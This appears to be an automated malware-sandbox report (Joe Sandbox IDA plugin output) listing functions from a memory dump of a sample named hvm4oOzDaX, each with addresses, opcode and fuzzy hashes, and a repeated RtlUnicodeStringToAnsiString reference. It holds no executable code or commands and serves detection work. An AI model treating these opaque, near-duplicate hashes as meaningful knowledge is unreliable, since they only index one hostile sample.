API String ID: 309727707-0
Opcode ID: 360625adbdb155b59c9cf70ac41ab14bcce320f48684ee5940b7e64c2d248ec3
Instruction ID: a1441bc75ab9b30923a393d9c0998cc9f79938aa5fde6686d14ed71192af7e86
Opcode Fuzzy Hash: 360625adbdb155b59c9cf70ac41ab14bcce320f48684ee5940b7e64c2d248ec3
Instruction Fuzzy Hash: 99718FEB34D121BE7213C1466B54AFB67AEE5D6730331842BF887D6602F294EE4A7031

Function 04D60C7F Relevance: 1.9, APIs: 1, Instructions: 360COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73adb2547effc9872d0b7ea589f347b37dc38344fe69b2c56b341100406ef25c
Instruction ID: a277daef3d6aaab8b00effc93145a28391ea3cf9fb35eddba1b4b46ce02b8d69
Opcode Fuzzy Hash: 73adb2547effc9872d0b7ea589f347b37dc38344fe69b2c56b341100406ef25c
Instruction Fuzzy Hash: 9C71B1EB34C121BF7213C1466B54AFB67AEE5D6730331847BF887D6642F294AE4A6031

Function 04D60C35 Relevance: 1.9, APIs: 1, Instructions: 357COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: ea78afe67e6034cb57b5e94e108be1e3e8636fc6b3f11ec060e0b3c683b9e14a
Instruction ID: e98cb12d34a10983135e2d1d0ec3f37797a637371203325354666996a88bd751
Opcode Fuzzy Hash: ea78afe67e6034cb57b5e94e108be1e3e8636fc6b3f11ec060e0b3c683b9e14a
Instruction Fuzzy Hash: D06180EB34D121BE7253C1466B54AFB67AEE5D6730331843BF887D6642F294AE4A3031

Function 04D60C43 Relevance: 1.9, APIs: 1, Instructions: 353COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 2e934dda209f93648ba0929a09e24082067607ba6802cc0d4ec6779ca263e7db
Instruction ID: 654c5eb7147dd79c36c997d6ef932998683086818b4f269a1c3d83a1976a5918
Opcode Fuzzy Hash: 2e934dda209f93648ba0929a09e24082067607ba6802cc0d4ec6779ca263e7db
Instruction Fuzzy Hash: 6B6181EB34C121BE7253C1566B54AFB67AEE5D6730331843BF887D6642F294AE4A3031

Function 04D60CCB Relevance: 1.8, APIs: 1, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 610552bf0b766a64e582bb39df837909b3a36f4a4fbe18c40b36297c791b10b4
Instruction ID: cef77a716f45de6a667110da3a404484497c57c3e7160d5ab56eebf6688e6614
Opcode Fuzzy Hash: 610552bf0b766a64e582bb39df837909b3a36f4a4fbe18c40b36297c791b10b4
Instruction Fuzzy Hash: C96191EB34C121BE7253C1466B54AFB67AEE5D6730331843BF887D6602F295AE4A3071

Function 04D60C6D Relevance: 1.8, APIs: 1, Instructions: 346COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 9a06d35a5e5e53815c78016d852dc8e3d63209932b55db5b2e87358a88a421e4
Instruction ID: cf056e29d26e102b101dfdd5c1cc4f58f50b6299afbb07a148d98ecdd2138d41
Opcode Fuzzy Hash: 9a06d35a5e5e53815c78016d852dc8e3d63209932b55db5b2e87358a88a421e4
Instruction Fuzzy Hash: AA6180EB34C121BE7253C1466B54AFB67AEE5D6730331843BF887D6602F294AE4A3071

Function 04D60CF9 Relevance: 1.8, APIs: 1, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da324ee6584ffbf94c1947450fcea86fcbec47cf9cbc327f83ca7261ab7490bf
Instruction ID: 7a4b7db7230a95b2e393b1c8cda216cfd0501d6c74b3139f4c19273e45b8fc41
Opcode Fuzzy Hash: da324ee6584ffbf94c1947450fcea86fcbec47cf9cbc327f83ca7261ab7490bf
Instruction Fuzzy Hash: 945171EB34C121BE7253C1466B54AFB67AEE5D6730331843BF887D6602F294AE4A3431

Function 04D60CB7 Relevance: 1.8, APIs: 1, Instructions: 329COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 1d71f9c7f48ba6641298b4e526e2cf2b634d7f5deef922f5c50068b854bea2b8
Instruction ID: a6b8c65aa3ddba9ef6d55f8452e6c57b9b2ff70fadfedc74658a79cb6a8ba9f4
Opcode Fuzzy Hash: 1d71f9c7f48ba6641298b4e526e2cf2b634d7f5deef922f5c50068b854bea2b8
Instruction Fuzzy Hash: 155193EB34C121BE7253C1566B54AFB6BAEE5D6730331843BF887D6602F294AE493431

Function 04D60CE7 Relevance: 1.8, APIs: 1, Instructions: 318COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 6418d2a8277a475375b4d7387200d2e415d02d77d28997a6e69e03284a751de7
Instruction ID: a1f1f8d13f659d811eaf52983895105910eb552cd5aaac2e7910647c7a8f2f3b
Opcode Fuzzy Hash: 6418d2a8277a475375b4d7387200d2e415d02d77d28997a6e69e03284a751de7
Instruction Fuzzy Hash: AF5182EB34C121BE7253C0466B54AFB67AED5D6730331843BF887D6602F294AE4A3431

Function 04D60D26 Relevance: 1.8, APIs: 1, Instructions: 292COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 3437960a126af8e0a6d7e0c69f6bdfbcebcdb9bfac5eea03b3e013582a9f4e74
Instruction ID: 6bd3b30d80c4c13df60e4ef674eaf3aaa07266910451e456c2a04df44850a21e
Opcode Fuzzy Hash: 3437960a126af8e0a6d7e0c69f6bdfbcebcdb9bfac5eea03b3e013582a9f4e74
Instruction Fuzzy Hash: 2F51A1EB34C121BF7213C5566B54AFB67AEE5D6730331843BF887D6602F294AA493431

Function 04D60D62 Relevance: 1.8, APIs: 1, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 220ea72c2c450185c8d73ac2d8b4cd33531123796eb739e7ad6cf86263d87ff8
Instruction ID: ee80cd369e118af236d58b61f8b7242d71a8437dd78bbb71176bce26854d0c7e
Opcode Fuzzy Hash: 220ea72c2c450185c8d73ac2d8b4cd33531123796eb739e7ad6cf86263d87ff8
Instruction Fuzzy Hash: E6518FEB34C121BF7213C5866B54AFB66AEE5D6730331843BF887D6602F294AE493471

Function 04D60DD5 Relevance: 1.8, APIs: 1, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f71c302d83758db6b52c69fb4113e4672a6659b428750dea043f76af42c588eb
Instruction ID: c15f94b6a7cbd35a195e54a4f57be7d2a9a7a73c503abc0841681bfc29bdeda7
Opcode Fuzzy Hash: f71c302d83758db6b52c69fb4113e4672a6659b428750dea043f76af42c588eb
Instruction Fuzzy Hash: FF5192EB34C121BF7213C5566B54AFB676EE6D6730331843AF887D6602F294AA4A3431

Function 04D60D53 Relevance: 1.8, APIs: 1, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6316c3ab736886893787510a42b01caff1c6ab9ae6ce6bba3772b0f6d5ea49a6
Instruction ID: ee7c61744f03727cacce00a747a649add7d4ac6c265427c2773051bbd4c3dc1c
Opcode Fuzzy Hash: 6316c3ab736886893787510a42b01caff1c6ab9ae6ce6bba3772b0f6d5ea49a6
Instruction Fuzzy Hash: 315181EB34C121BF7213C1966B54AFB66AEE5D6730331843BF887D6602F294AA493471

Function 04D60D69 Relevance: 1.8, APIs: 1, Instructions: 277COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 5616e6b05f1dda4d07a60a93ec6ea8533846248e8d9963fe90253a9ee87ee56d
Instruction ID: 35cc3e57200aacd27e32b2b54feb1017d7eff4cf4e5516e8beed6843adb88006
Opcode Fuzzy Hash: 5616e6b05f1dda4d07a60a93ec6ea8533846248e8d9963fe90253a9ee87ee56d
Instruction Fuzzy Hash: 1551A0EB34C121BE7213C5866B54AFB67AEE5D6730331843BF887D6602F294AE493431

Function 04D60D85 Relevance: 1.8, APIs: 1, Instructions: 275COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 22bc73eb0a9281ce8a949a3e3c043fec320445377fa8e6d6247e082a2a23c9c2
Instruction ID: 0a030c981bbf053d9c85ba261bebab44e0356610f9af7eb7dc4ed4e358228300
Opcode Fuzzy Hash: 22bc73eb0a9281ce8a949a3e3c043fec320445377fa8e6d6247e082a2a23c9c2
Instruction Fuzzy Hash: 3D5180EB34C121BF7213C5566B54AFB676EE6D6730331843AF887D6602F294AE4A3431

Function 04D60DB7 Relevance: 1.8, APIs: 1, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e4b1f294e2b7e514f100b2ebe6fc74e9be8d506880182f2fc0fbe60fd200e8f
Instruction ID: c44a3a2bc24f6ead45c977625b987579803d72aa55e7b770e5ec5f3c384b7c96
Opcode Fuzzy Hash: 0e4b1f294e2b7e514f100b2ebe6fc74e9be8d506880182f2fc0fbe60fd200e8f
Instruction Fuzzy Hash: 5E51B4E734C121BF7213C1926B54AFB67AED5D7730331846AF887D6602F295AE4A7031

Function 04D60E06 Relevance: 1.8, APIs: 1, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c7e2fc670f3aa90b9896b201ea2cf6f10e5933092b0728be6b212beb5443cf2
Instruction ID: f65461076f1eaf440846f654400f98682ea037872580e4e9e26ea21be38db618
Opcode Fuzzy Hash: 8c7e2fc670f3aa90b9896b201ea2cf6f10e5933092b0728be6b212beb5443cf2
Instruction Fuzzy Hash: E85193EB34C121BE7213C1566B54AFB676ED5C6730331842BF887D6602F294AE4A3471

Function 04D60DA0 Relevance: 1.8, APIs: 1, Instructions: 263COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 6f8e4ba079bff13acbcdea4a4fadac1d2e6898bfbf59c00c7e949e67a4c6134a
Instruction ID: 9a81eda60af640a812807ecfc659c00b8dbaf77af119ba453e0df82f35c6c5e9
Opcode Fuzzy Hash: 6f8e4ba079bff13acbcdea4a4fadac1d2e6898bfbf59c00c7e949e67a4c6134a
Instruction Fuzzy Hash: 315181EB34C121BE7253C5966B54AFB676EE5C6730331843AF887D6602F295AE493031

Function 04D60E17 Relevance: 1.7, APIs: 1, Instructions: 247COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: b653a7346acceb1181c17ab0e9ae2e5873b30e6c47bcb676d0f9de2c68232f92
Instruction ID: 3b44e96afff31cccfe3f1a8f52dfb2ef8e581a409ba456a3e183ac139b4c6177
Opcode Fuzzy Hash: b653a7346acceb1181c17ab0e9ae2e5873b30e6c47bcb676d0f9de2c68232f92
Instruction Fuzzy Hash: 38416EEB34C121BE7213C5966B54AFB66AEE5C6730331843BF887D6602F2959A4A7031

Function 04D60E38 Relevance: 1.7, APIs: 1, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c57dd679d3b8f32d06cc4ba2e24c6cadb062e0b6a86e60f259e039cc443410
Instruction ID: 6a9ef1943e74cb400e31c103000851ad9db6543b7b5bb1a0af92c8ff54fbe28b
Opcode Fuzzy Hash: 06c57dd679d3b8f32d06cc4ba2e24c6cadb062e0b6a86e60f259e039cc443410
Instruction Fuzzy Hash: AC4190EB34C121BE7213C4966B50AFB67AEE5C2730331843BF887D6602F2959A4A6031

Function 04D60E69 Relevance: 1.7, APIs: 1, Instructions: 233COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 6e2633f71887db19262779c9de26e38b741a66745a571f9a2d4504605007b01c
Instruction ID: 3b7d56c15372bc278faea95ddcee7170e51f004b4f08b07ac8c9ee3150801300
Opcode Fuzzy Hash: 6e2633f71887db19262779c9de26e38b741a66745a571f9a2d4504605007b01c
Instruction Fuzzy Hash: 4141D1E734C161BE7213C5966B505FB6BAEEAC3730331807BF887D6202F2859A4A3131

Function 04D60E54 Relevance: 1.7, APIs: 1, Instructions: 229COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: a066155866c537fa1285f612dbdb007e8adfacc0d165bd615e95774ec0433ffc
Instruction ID: e2a3ab2fe71fafb88df780f31064a6803bd4fc1cbc4216fdaf6dc0bf25a3ae30
Opcode Fuzzy Hash: a066155866c537fa1285f612dbdb007e8adfacc0d165bd615e95774ec0433ffc
Instruction Fuzzy Hash: 7E4180EB34C121BE7213C5966B549FB6AAEE5C3730331847AF887D6602F2949A4A7031

Function 04D60EBE Relevance: 1.7, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: d6168f161f98c08bb362955defd5b058b9e71d60334ebed99f95078c783942e1
Instruction ID: 7f32f58263dea3ce0ba686a652503856be21aa3505507feb652e83ac03e0c474
Opcode Fuzzy Hash: d6168f161f98c08bb362955defd5b058b9e71d60334ebed99f95078c783942e1
Instruction Fuzzy Hash: 2D41D1EB34C121AF7213C5566B546FB67AEE6C2730330843BF887D6202F2D4AA492031

Function 04D60EEA Relevance: 1.7, APIs: 1, Instructions: 184COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 8100fe25480957af9f912c0dfb4acf8300f9c57c20e28762d7b9abca2dbd7350
Instruction ID: e52f0d7b0bc64f7379b5572cf52b740538fca00c06aa74dd907151f0239e868a
Opcode Fuzzy Hash: 8100fe25480957af9f912c0dfb4acf8300f9c57c20e28762d7b9abca2dbd7350
Instruction Fuzzy Hash: 2031A2EB34C121BE7613C5526B549FB66AEE5C3730331843BF887D6202F2C5AA497071

Function 04D60F64 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: c07099369cbc0592eacfc29eed6cde4c5421ecacec3e2d9abced312f42ddcd7c
Instruction ID: f8bc8a166a27e61750d2fa5886d1629b5892880e5b15a60e8c30b41989a406b9
Opcode Fuzzy Hash: c07099369cbc0592eacfc29eed6cde4c5421ecacec3e2d9abced312f42ddcd7c
Instruction Fuzzy Hash: 0D31D5EB34C161AE7213C5566B145FF6BAED5C3630331847BF887D6602F2C5AA497071

Function 04D60F07 Relevance: 1.7, APIs: 1, Instructions: 181COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: a00829020507e7a03f8b0fc8f18e2751c999724cdafc9717af6420020d7f5894
Instruction ID: 5f029d8ba9cbbf822470d7645fa9e3bc26711ca0dce2b2ae60b38322c64673ec
Opcode Fuzzy Hash: a00829020507e7a03f8b0fc8f18e2751c999724cdafc9717af6420020d7f5894
Instruction Fuzzy Hash: 9D31B1EB34C121BE7213C5526B54AFB6AAEE5C3730331843BF887D6202F2C5AA493031

Function 04D60F15 Relevance: 1.7, APIs: 1, Instructions: 178COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 4cce269dcf189d704f7d87f3e49a881f910a3de172ba2316281104dd2f85ea03
Instruction ID: 91edb9b37f14160d1a035d3e150d87e9ffa9843018c081fd3ff269c337c3d702
Opcode Fuzzy Hash: 4cce269dcf189d704f7d87f3e49a881f910a3de172ba2316281104dd2f85ea03
Instruction Fuzzy Hash: B731C0EB34C161BE7217C5926B145FB6AAEE5C3630331843BF887D6602F2C59A4E3071

Function 04D60F29 Relevance: 1.7, APIs: 1, Instructions: 175COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: d4ae3c7d490442f341cfa536ac8cbd56197104cfa2577bc56bbdc92562890b60
Instruction ID: 6ce81223a6ebc92aa3a8cf992f97e99f1341d7d1220d7835f72b4246ab4ba1eb
Opcode Fuzzy Hash: d4ae3c7d490442f341cfa536ac8cbd56197104cfa2577bc56bbdc92562890b60
Instruction Fuzzy Hash: F831B0EB34C121AE7217C5966B545FF6AAEE5C3630331843BF887D6602F2C5AA4E3071

Function 04D60F3D Relevance: 1.7, APIs: 1, Instructions: 168COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 900ab2017b2048a225f91454746435aa81adb639f0e46217b73d000592613867
Instruction ID: fe7645e233992a6f6ad661517b3983df82105fa9b02856f2ff790d612768a03a
Opcode Fuzzy Hash: 900ab2017b2048a225f91454746435aa81adb639f0e46217b73d000592613867
Instruction Fuzzy Hash: 1331C2EB34C121AE7613C0966B545FB6BAED6C3630331843BF887D6602F2C59A4A3071

Function 04D60F4C Relevance: 1.7, APIs: 1, Instructions: 165COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 0d47394165d15ccefb3be1523a1985d78ae8372dfabc5be5642d82e0e6876b01
Instruction ID: 80777cfc84e64c3d791b3806d41b88244e9c936b420358275d26ab5de0ea2be5
Opcode Fuzzy Hash: 0d47394165d15ccefb3be1523a1985d78ae8372dfabc5be5642d82e0e6876b01
Instruction Fuzzy Hash: 3C31E1EB34C121AE721384966B505FF6BAED5C3630331843AF883D6602F2C59A4A7071

Function 04D60F9B Relevance: 1.7, APIs: 1, Instructions: 155COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 3b73d3fef6b05d52eae093beebd4c724a180222405e3e9d2106e573ad735bf89
Instruction ID: 91f78b5ffe4ac397d1e41ad605adb41b721669fc89d24f597d1a86b83982dbcf
Opcode Fuzzy Hash: 3b73d3fef6b05d52eae093beebd4c724a180222405e3e9d2106e573ad735bf89
Instruction Fuzzy Hash: B03106E7348120AF7323859667541FF7AABEAC3630330803AF883D6702F2C59A0A7070

Function 04D61034 Relevance: 1.7, APIs: 1, Instructions: 153COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 12b3e472986a3598f168fe8c8d1746eece1ab96575a14b717a26b9c68926b931
Instruction ID: bb722692e152183f93880bb98a8088afcd7d9c500cd12bd5016838e34de560d6
Opcode Fuzzy Hash: 12b3e472986a3598f168fe8c8d1746eece1ab96575a14b717a26b9c68926b931
Instruction Fuzzy Hash: 3B31F2EB308160AF7616856667455FF7BAEEAC3630331843AF883D7642F2D59E0A6061

Function 04D60F76 Relevance: 1.6, APIs: 1, Instructions: 150COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: cd136cc81412e508249b10396f9be163842e3b4ced548d6b11d85643650e47a7
Instruction ID: f6f6cfbaac13e2f41cf7e7bbfdd017d9086c70525eb8078b73efc85727107210
Opcode Fuzzy Hash: cd136cc81412e508249b10396f9be163842e3b4ced548d6b11d85643650e47a7
